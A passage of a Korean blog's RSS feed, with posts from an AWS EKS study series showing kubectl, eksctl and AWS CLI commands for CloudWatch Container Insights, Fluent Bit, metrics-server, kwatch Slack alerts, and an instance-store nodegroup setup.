&lt;pre id=&quot;code_1711356224833&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 설치
aws eks create-addon --cluster-name $CLUSTER_NAME --addon-name amazon-cloudwatch-observability
aws eks list-addons --cluster-name myeks --output table

# 설치 확인
kubectl get-all -n amazon-cloudwatch
kubectl get ds,pod,cm,sa,amazoncloudwatchagent -n amazon-cloudwatch
kubectl describe clusterrole cloudwatch-agent-role amazon-cloudwatch-observability-manager-role    # 클러스터롤 확인
kubectl describe clusterrolebindings cloudwatch-agent-role-binding amazon-cloudwatch-observability-manager-rolebinding  # 클러스터롤 바인딩 확인
kubectl -n amazon-cloudwatch logs -l app.kubernetes.io/component=amazon-cloudwatch-agent -f # 파드 로그 확인
kubectl -n amazon-cloudwatch logs -l k8s-app=fluent-bit -f    # 파드 로그 확인

# cloudwatch-agent 설정 확인
kubectl describe cm cloudwatch-agent-agent -n amazon-cloudwatch&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-25 오후 5.44.54.png&quot; data-origin-width=&quot;992&quot; data-origin-height=&quot;180&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dWHPUG/btsF2OTavgI/uEsIS33Uv7M8O9LabcDQw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dWHPUG/btsF2OTavgI/uEsIS33Uv7M8O9LabcDQw0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dWHPUG/btsF2OTavgI/uEsIS33Uv7M8O9LabcDQw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdWHPUG%2FbtsF2OTavgI%2FuEsIS33Uv7M8O9LabcDQw0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;992&quot; height=&quot;180&quot; data-filename=&quot;스크린샷 2024-03-25 오후 5.44.54.png&quot; data-origin-width=&quot;992&quot; data-origin-height=&quot;180&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Fluent bit 데몬셋 파드의 정보를 상세하게 살펴보면 볼륨에 호스트패스로 /(root)를 바로 사용하는 것을 볼 수 있는데 이는 보안상 파드가 장악되면 해당 노드가 함께 장악되는 것이라 좋은 방법이 아니지만 아직까지 공식적으로 변경되지는 않아 사용 시 주의해야 합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1711357017446&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#Fluent bit 파드 수집하는 방법 : Volumes에 HostPath를 살펴보자! &amp;gt;&amp;gt; / 호스트 패스 공유??? 보안상 안전한가? 좀 더 범위를 좁힐수는 없을까요? 
kubectl describe -n amazon-cloudwatch ds cloudwatch-agent&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-25 오후 5.56.40.png&quot; data-origin-width=&quot;512&quot; data-origin-height=&quot;263&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uvRKk/btsF3TTUzHJ/MjpQxfYKEABguf5B1cIyKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uvRKk/btsF3TTUzHJ/MjpQxfYKEABguf5B1cIyKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uvRKk/btsF3TTUzHJ/MjpQxfYKEABguf5B1cIyKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuvRKk%2FbtsF3TTUzHJ%2FMjpQxfYKEABguf5B1cIyKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;512&quot; height=&quot;263&quot; data-filename=&quot;스크린샷 2024-03-25 오후 5.56.40.png&quot; data-origin-width=&quot;512&quot; data-origin-height=&quot;263&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1711357195992&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Fluent Bit 로그 INPUT/FILTER/OUTPUT 설정 확인 - 링크
## 설정 부분 구성 : application-log.conf , dataplane-log.conf , fluent-bit.conf , host-log.conf , parsers.conf
kubectl describe cm fluent-bit-config -n amazon-cloudwatch

# Fluent Bit 파드가 수집하는 방법 : Volumes에 HostPath를 살펴보자!
kubectl describe -n amazon-cloudwatch ds fluent-bit&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Container Insights의 로그 분류대로 로그 그룹이 생성된 것을 콘솔 화면에서 확인 할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-25 오후 6.01.09.png&quot; data-origin-width=&quot;2115&quot; data-origin-height=&quot;406&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mZfPy/btsF5F1N3OB/tf7B5nKMnr0pJukb3ZstQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mZfPy/btsF5F1N3OB/tf7B5nKMnr0pJukb3ZstQk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mZfPy/btsF5F1N3OB/tf7B5nKMnr0pJukb3ZstQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmZfPy%2FbtsF5F1N3OB%2Ftf7B5nKMnr0pJukb3ZstQk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2115&quot; height=&quot;406&quot; data-filename=&quot;스크린샷 2024-03-25 오후 6.01.09.png&quot; data-origin-width=&quot;2115&quot; data-origin-height=&quot;406&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;CloudWatch Container observability를 설치함으로써 CloudWatch 콘솔의 Container Insights 메뉴에서 대시보드 형태로 로그를 시각화할 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-25 오후 6.04.48.png&quot; data-origin-width=&quot;2150&quot; data-origin-height=&quot;1058&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsghZq/btsF15gIG8t/q2oxDFFVV9wsPmIqLBTiBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsghZq/btsF15gIG8t/q2oxDFFVV9wsPmIqLBTiBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsghZq/btsF15gIG8t/q2oxDFFVV9wsPmIqLBTiBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsghZq%2FbtsF15gIG8t%2Fq2oxDFFVV9wsPmIqLBTiBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2150&quot; height=&quot;1058&quot; data-filename=&quot;스크린샷 2024-03-25 오후 6.04.48.png&quot; data-origin-width=&quot;2150&quot; data-origin-height=&quot;1058&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;Metrics-server &amp;amp; &lt;/span&gt;kwatch &amp;amp; botkube&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;Metrics-server&lt;/b&gt; : kubelet으로부터 수집한 리소스 메트릭을 수집 및 집계하는 클러스터 애드온 구성 요소&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;cAdvisor&lt;/b&gt; : kubelet에 포함된 컨테이너 메트릭을 수집, 집계, 노출하는 데몬&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;925&quot; data-origin-height=&quot;425&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nvUSg/btsF5G7y99Q/nVbFNE3u3ceOHVc7PDmLzK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nvUSg/btsF5G7y99Q/nVbFNE3u3ceOHVc7PDmLzK/img.png&quot; data-alt=&quot;출처 :https://kubernetes.io/ko/docs/tasks/debug/debug-cluster/resource-metrics-pipeline/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nvUSg/btsF5G7y99Q/nVbFNE3u3ceOHVc7PDmLzK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnvUSg%2FbtsF5G7y99Q%2FnVbFNE3u3ceOHVc7PDmLzK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;925&quot; height=&quot;425&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;925&quot; data-origin-height=&quot;425&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;출처 :https://kubernetes.io/ko/docs/tasks/debug/debug-cluster/resource-metrics-pipeline/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1711366070711&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 배포
kubectl apply -f https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml

# 메트릭 서버 확인 : 메트릭은 15초 간격으로 cAdvisor를 통하여 가져옴
kubectl get pod -n kube-system -l k8s-app=metrics-server
kubectl api-resources | grep metrics
kubectl get apiservices |egrep '(AVAILABLE|metrics)'

# 노드 메트릭 확인
kubectl top node

# 파드 메트릭 확인
kubectl top pod -A
kubectl top pod -n kube-system --sort-by='cpu'
kubectl top pod -n kube-system --sort-by='memory'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;kwatch&lt;/b&gt; : k8s 클러스터의 모든 변경 사항을 모니터링하고, 실행 중인 앱의 충돌을 실시간으로 감지하고, 채널(Slack, Discord 등)에 즉시 알림을 게시하는 데 도움이 됩니다.&lt;/blockquote&gt;
&lt;pre id=&quot;code_1711366631013&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 닉네임
NICK=&amp;lt;각자 자신의 닉네임&amp;gt;

# configmap 생성
cat &amp;lt;&amp;lt;EOT &amp;gt; ~/kwatch-config.yaml
apiVersion: v1
kind: Namespace
metadata:
  name: kwatch
---
apiVersion: v1
kind: ConfigMap
metadata:
  name: kwatch
  namespace: kwatch
data:
  config.yaml: |
    alert:
      slack:
        webhook: '&amp;lt;웹훅 URL&amp;gt;'
        title: $NICK-EKS
        #text: Customized text in slack message
    pvcMonitor:
      enabled: true
      interval: 5
      threshold: 70
EOT
kubectl apply -f kwatch-config.yaml

# 배포
kubectl apply -f https://raw.githubusercontent.com/abahmed/kwatch/v0.8.5/deploy/deploy.yaml&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;edited_Screenshot 2024-03-25 at 8.37.58 PM.png&quot; data-origin-width=&quot;569&quot; data-origin-height=&quot;107&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dgPYJz/btsF5CKYD8j/K6NtGPkZuiiYPSL9jD9sA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dgPYJz/btsF5CKYD8j/K6NtGPkZuiiYPSL9jD9sA1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dgPYJz/btsF5CKYD8j/K6NtGPkZuiiYPSL9jD9sA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdgPYJz%2FbtsF5CKYD8j%2FK6NtGPkZuiiYPSL9jD9sA1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;569&quot; height=&quot;107&quot; data-filename=&quot;edited_Screenshot 2024-03-25 at 8.37.58 PM.png&quot; data-origin-width=&quot;569&quot; data-origin-height=&quot;107&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;잘못된 이미지 파드를 배포하여 슬랙 채널에 kwatch 알람이 오는지 확인합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1711366850870&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 터미널1
watch kubectl get pod

# 잘못된 이미지 정보의 파드 배포
kubectl apply -f https://raw.githubusercontent.com/junghoon2/kube-books/main/ch05/nginx-error-pod.yml
kubectl get events -w&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-25 at 8.40.28 PM.png&quot; data-origin-width=&quot;1230&quot; data-origin-height=&quot;1096&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cAJAh9/btsF3Fn4Hmh/ieKd60gbTchxrhzepKUB50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cAJAh9/btsF3Fn4Hmh/ieKd60gbTchxrhzepKUB50/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cAJAh9/btsF3Fn4Hmh/ieKd60gbTchxrhzepKUB50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcAJAh9%2FbtsF3Fn4Hmh%2FieKd60gbTchxrhzepKUB50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1230&quot; height=&quot;1096&quot; data-filename=&quot;Screenshot 2024-03-25 at 8.40.28 PM.png&quot; data-origin-width=&quot;1230&quot; data-origin-height=&quot;1096&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지 변경을 통해 ErrImagePull 이었던 파드의 STATUS를 Running으로 변경할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1711366919018&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 이미지 업데이트 방안2 : set 사용 - iamge 등 일부 리소스 값을 변경 가능!
kubectl set 
kubectl set image pod nginx-19 nginx-pod=nginx:1.19&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-25 at 8.42.12 PM.png&quot; data-origin-width=&quot;970&quot; data-origin-height=&quot;76&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dMc2AT/btsF6gHrnsX/LWdJHUjA9nbAd4a0NGI6BK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dMc2AT/btsF6gHrnsX/LWdJHUjA9nbAd4a0NGI6BK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dMc2AT/btsF6gHrnsX/LWdJHUjA9nbAd4a0NGI6BK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdMc2AT%2FbtsF6gHrnsX%2FLWdJHUjA9nbAd4a0NGI6BK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;970&quot; height=&quot;76&quot; data-filename=&quot;Screenshot 2024-03-25 at 8.42.12 PM.png&quot; data-origin-width=&quot;970&quot; data-origin-height=&quot;76&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;kwatch 알람에 사용했던 파드를 삭제합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1711366955339&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 삭제
kubectl delete pod nginx-19&lt;/code&gt;&lt;/pre&gt;</description>
      <author>imxsuu</author>
      <guid isPermaLink="true">https://imxsuu.tistory.com/9</guid>
      <comments>https://imxsuu.tistory.com/9#entry9comment</comments>
      <pubDate>Mon, 25 Mar 2024 18:08:18 +0900</pubDate>
    </item>
    <item>
      <title>[AEWS] Nodegroup &amp;amp; Fargate</title>
      <link>https://imxsuu.tistory.com/8</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;Nodegroup&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;AWS Nodegroup은 Amazon EKS(Amazon Elastic Kubernetes Service)에서 사용되는 개념입니다. 이는 Kubernetes 클러스터 내에서 워커 노드(Worker Node)를 관리하기 위한 그룹을 나타냅니다. 보통은 EC2 인스턴스로 구성되며, EKS 클러스터 내에서 실행되는 컨테이너 워크로드를 처리합니다. Nodegroup은 특정 인스턴스 유형, 크기 및 구성으로 구성됩니다. 이를 통해 클러스터 내에서 다양한 유형의 워커 노드를 관리하고, 필요에 따라 스케일링하거나 업데이트할 수 있습니다. 또한 AWS CLI나 콘솔을 통해 Nodegroup을 생성, 관리 및 모니터링할 수 있습니다. &lt;i&gt;[출처 : ChatGPT]&lt;/i&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AWS 환경에서 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;쿠버네티스 파드를 운영할 때&lt;/span&gt; 스토리지 I/O의 처리량이 부족한 경향이 있어 보다  저렴한 비용으로 대체할 수 있는 서비스가 Instance store(임시 블록 스토리지)입니다. 기본 디스크 드라이브 오류, 인스턴스 &lt;span data-token-index=&quot;1&quot;&gt;중지&lt;/span&gt;, 인스턴스 &lt;span data-token-index=&quot;3&quot;&gt;최대 절전 모드&lt;/span&gt;로의 전환, 인스턴스 &lt;span data-token-index=&quot;5&quot;&gt;종료시에는 데이터가 손실되는 특징이 있습니다. 또한 EC2 스토리지(EBS) 정보에 출력되지 않습니다.&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;AWS 인스턴스 스토어는 Amazon Web Services(AWS)에서 제공하는 서비스 중 하나입니다. 이는 인스턴스의 로컬 스토리지를 제공하는 것으로, 일시적인 데이터를 저장하거나 처리할 때 유용합니다. 인스턴스 스토어는 EC2 인스턴스와 연결되어 있으며, 인스턴스가 종료되면 스토리지의 데이터도 함께 손실됩니다. 그러므로 인스턴스 스토어에 저장된 데이터는 일시적이고 영구적인 저장이 필요한 경우에는 다른 AWS 스토리지 서비스인 Amazon EBS(Elastic Block Store) 등을 사용해야 합니다. &lt;i&gt;[출처 : ChatGPT]&lt;/i&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;613&quot; data-origin-height=&quot;359&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QPPNn/btsFV7SN4UI/YKc0f7k4YjZRlrhLes99uK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QPPNn/btsFV7SN4UI/YKc0f7k4YjZRlrhLes99uK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QPPNn/btsFV7SN4UI/YKc0f7k4YjZRlrhLes99uK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQPPNn%2FbtsFV7SN4UI%2FYKc0f7k4YjZRlrhLes99uK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;613&quot; height=&quot;359&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;613&quot; data-origin-height=&quot;359&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;신규 노드 그룹 ng2를 생성해봅니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710922424780&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 인스턴스 스토어 볼륨이 있는 c5 모든 타입의 스토리지 크기
aws ec2 describe-instance-types \
 --filters &quot;Name=instance-type,Values=c5*&quot; &quot;Name=instance-storage-supported,Values=true&quot; \
 --query &quot;InstanceTypes[].[InstanceType, InstanceStorageInfo.TotalSizeInGB]&quot; \
 --output table
 
 # 신규 노드 그룹 생성
eksctl create nodegroup --help
eksctl create nodegroup -c $CLUSTER_NAME -r $AWS_DEFAULT_REGION --subnet-ids &quot;$PubSubnet1&quot;,&quot;$PubSubnet2&quot;,&quot;$PubSubnet3&quot; --ssh-access \
  -n ng2 -t c5d.large -N 1 -m 1 -M 1 --node-volume-size=30 --node-labels disk=nvme --max-pods-per-node 100 --dry-run &amp;gt; myng2.yaml

cat &amp;lt;&amp;lt;EOT &amp;gt; nvme.yaml
  preBootstrapCommands:
    - |
      # Install Tools
      yum install nvme-cli links tree jq tcpdump sysstat -y

      # Filesystem &amp;amp; Mount
      mkfs -t xfs /dev/nvme1n1
      mkdir /data
      mount /dev/nvme1n1 /data

      # Get disk UUID
      uuid=\$(blkid -o value -s UUID mount /dev/nvme1n1 /data) 

      # Mount the disk during a reboot
      echo /dev/nvme1n1 /data xfs defaults,noatime 0 2 &amp;gt;&amp;gt; /etc/fstab
EOT
sed -i -n -e '/volumeType/r nvme.yaml' -e '1,$p' myng2.yaml
eksctl create nodegroup -f myng2.yaml&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-20 오후 5.14.33.png&quot; data-origin-width=&quot;755&quot; data-origin-height=&quot;240&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3aICD/btsFVSnO8gv/ZoNdXRMXaDQ9ZyRkYDDiy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3aICD/btsFVSnO8gv/ZoNdXRMXaDQ9ZyRkYDDiy0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3aICD/btsFVSnO8gv/ZoNdXRMXaDQ9ZyRkYDDiy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3aICD%2FbtsFVSnO8gv%2FZoNdXRMXaDQ9ZyRkYDDiy0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;755&quot; height=&quot;240&quot; data-filename=&quot;스크린샷 2024-03-20 오후 5.14.33.png&quot; data-origin-width=&quot;755&quot; data-origin-height=&quot;240&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-20 오후 5.19.42.png&quot; data-origin-width=&quot;2032&quot; data-origin-height=&quot;203&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdctYN/btsFUYa2fTO/fZDze6Q6dI7U3Mk4utIf5k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdctYN/btsFUYa2fTO/fZDze6Q6dI7U3Mk4utIf5k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdctYN/btsFUYa2fTO/fZDze6Q6dI7U3Mk4utIf5k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdctYN%2FbtsFUYa2fTO%2FfZDze6Q6dI7U3Mk4utIf5k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2032&quot; height=&quot;203&quot; data-filename=&quot;스크린샷 2024-03-20 오후 5.19.42.png&quot; data-origin-width=&quot;2032&quot; data-origin-height=&quot;203&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-20 오후 5.16.51.png&quot; data-origin-width=&quot;705&quot; data-origin-height=&quot;241&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5PSOr/btsFU0zYDgP/VbuFslIolOZ0PdgOfEnpCK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5PSOr/btsFU0zYDgP/VbuFslIolOZ0PdgOfEnpCK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5PSOr/btsFU0zYDgP/VbuFslIolOZ0PdgOfEnpCK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5PSOr%2FbtsFU0zYDgP%2FVbuFslIolOZ0PdgOfEnpCK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; 